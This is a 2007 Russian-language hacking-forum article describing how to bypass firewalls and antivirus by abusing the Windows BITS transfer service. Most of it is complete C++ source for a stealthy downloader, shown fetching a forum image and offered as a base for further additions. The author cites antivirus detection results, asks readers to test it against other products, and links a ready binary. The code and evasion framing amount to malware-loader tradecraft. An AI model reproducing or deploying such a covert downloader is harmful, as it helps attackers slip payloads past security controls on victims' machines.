ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Обход фаеров с использованием Bits
  #1  
Старый 09.09.2007, 17:38
Piflit
Banned
Регистрация: 11.08.2006
Сообщений: 1,522
Провел на форуме:
5128756

Репутация: 2032


Отправить сообщение для Piflit с помощью ICQ
По умолчанию Обход фаеров с использованием Bits

Обход фаеров с использованием BITS


[0x01] Введение

В настоящее время как никогда актуальна тема прохода через огненные стены с получением наименьшего количества ожогов. Многие используют метод inject'а в доверенные (наиболее часто системные) процессы. Это вполне разумно, поскольку брандмауэр принимает нас за своего и дружелюбно открывает нам дверь в сеть. Но уже на стадии впрыскивания себя в адресное пространство другого процесса мы можем быть замечены антивирусом, что не входит в наши планы. Во избежание этого делают снятие хуков, тем самым не позволяя антивирю узнать о наших действиях. Но само снятие хуков может быть уже подозрительно. На этот случай существует еще один, хотя и не очень популярный (по моему мнению) способ. Это использование BITS. Что же это такое?

[0x02] Что такое BITS

Background Intelligent Transfer Service (BITS) это элемент ОС от мелкомягких, который обеспечивает передачу файлов между компами, используюя свободную часть пропускной способности сетевого соединения. В основном используется последними версиями Windows Update, Windows Server Update Services и Systems Management Server для доставки обновления софта клиентам, также используется майкрософтовскими IM (Instant Messenger, например MSN) для передачи файлов. (Взято из wiki)
Ну и что? - скажете вы. Оказывается, что BITS любезно предоставляет нам доступ к своим трансферам через API. Причем передача идет скрытно, а служба - системная, что обеспечивает нам полную невидимость от различных анализаторов траффика. Причем в MSDN есть достаточно полное описание данной службы, что дает нам возможность использовать ее в своих мирных целях. Итак, приступим.

[0x03] Coding

Для примера я напишу простой downloader. Это даже не совсем downloader, а тот минимум кода, необходимый для выпонения данной задачи, к которому можно прикрутить много всего интересного.



Код:
#define UNICODE
#define _WIN32_WINNT  0x0500
#include <windows.h>
#include "bits.h"
#define LOAD_PATH	L"http://forum.antichat.ru/images/smilies/smile.gif" //для примера возьмем смайлик с форума
#define SAVE_PATH	L"c:\\smile.gif" // место, куда он будет сохраняться

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     int       nCmdShow)

{
//Объявляем глобальные переменные
IBackgroundCopyManager* g_XferManager = NULL;  
HRESULT hr;
GUID JobId;
IBackgroundCopyJob* pJob = NULL;
BG_JOB_STATE pJobState;


//Инициализируем СОМ библиотеку
hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
if (SUCCEEDED(hr)) // если предыдущая функция была удачно выполнена
{
// Создаем один неинициализированный объект класса, ассоциированного с определенным CLSID (сам не до конца понял, что это)
  hr = CoCreateInstance(__uuidof(BackgroundCopyManager), NULL,
                        CLSCTX_INPROC_SERVER|CLSCTX_INPROC_HANDLER|CLSCTX_LOCAL_SERVER,
                        __uuidof(IBackgroundCopyManager),
                        (void**) &g_XferManager);
  if (SUCCEEDED(hr))
  {
    /*
	Вся система загрузки состоит из Job'ов (что-то вроде заданий), которые мы можем создавать, запускать, останавливать и т.д. Тажке мы можем реагировать на события при выполнении Job'a.
	*/
hr = g_XferManager->CreateJob(L"our_hackish_dl", BG_JOB_TYPE_DOWNLOAD, &JobId, &pJob); // создаем Job
if (SUCCEEDED(hr))
{
  hr = pJob->AddFile(LOAD_PATH, SAVE_PATH); //добавляем файл в Job
if (SUCCEEDED(hr))
{  
  hr = pJob->Resume(); // запускаем Job
					if (SUCCEEDED(hr))
					{
						while (true)
						{
							// ждем, пока загрузка завершится
							hr = pJob->GetState(&pJobState);
							
							if (SUCCEEDED(hr) && 
								(pJobState == BG_JOB_STATE_CONNECTING || 
								pJobState == BG_JOB_STATE_TRANSFERRING))
							{
								Sleep(10);
							} else {
								break;
							}
						}
					}
}
pJob->Complete(); // завершаем Job
pJob->Release(); // удаляем Job из списка Job'oв, чтобы не засорять этот список (он ограничен, поэтому это обязательно)

MessageBoxA(0,"File has been downloaded successfully!","Hey!", 0); // тут все понятно
}
  }
  g_XferManager->Release();
}

CoUninitialize(); // функция, обратная CoInitializeEx()
ExitProcess(0);

return 0;
}
Вот и все. Совсем не сложно. Размер - 1536 bytes. Согласитесь, неплохо для downloader'a. Хотя проактивка каспера палит, думаю, другие AV будут к нам более доброжелательны. Если потестите и выложете результаты здесь, буду благодарен. Кстати, вот отчет с вирустотала:

AntiVir 7.6.0.5 2007.09.08 HEUR/Malware
CAT-QuickHeal 9.00 2007.09.08 (Suspicious) - DNAScan
Webwasher-Gateway 6.0.1 2007.09.08 Heuristic.Malware

[0x04] Заключение

Для компила сорца нужны некоторые библиотеки, которых нет по умолчанию. Если у вас они отсутствуют, скачать их можно здесь:
[Slil.ru]
[Ifolder.ru]
А бинарник для теста (грузится смайлик в c:\\smile.gif) здесь:
[Slil.ru]
[Ifolder.ru]

По той причине, что в некоторых местах статьи мои знания несколько поверхностны, прошу указывать на неточности и на откровенный бред. Конструктивная критика приветствуется!
Спасибо Cr4sh'у из Hellknights за его 0x48k BITS Loader, который помог мне разобраться во всем этом.
Отдельный респект Xserg'у за помощь!

ЗЫ На написание данной статьи меня подтолкнул пост Ni0x'a о способах обхода фаеров, за что ему отдельное спасибо))

Линки по теме:
http://en.wikipedia.org/wiki/Background_Intelligent_Transfer_Service
http://msdn2.microsoft.com/en-us/library/Aa362827.aspx
http://msdn2.microsoft.com/en-us/library/aa362828.aspx
http://msdn2.microsoft.com/en-us/library/aa363160.aspx
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обход кляпа Taro Чаты 6 05.01.2007 19:29
Real Time Cryptanalysis of A5/1 on a PC novichok Forum for discussion of ANTICHAT 3 21.04.2006 20:04
Защита Web-сервисов с использованием mod_security w00d Чужие Статьи 1 11.07.2005 14:47



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ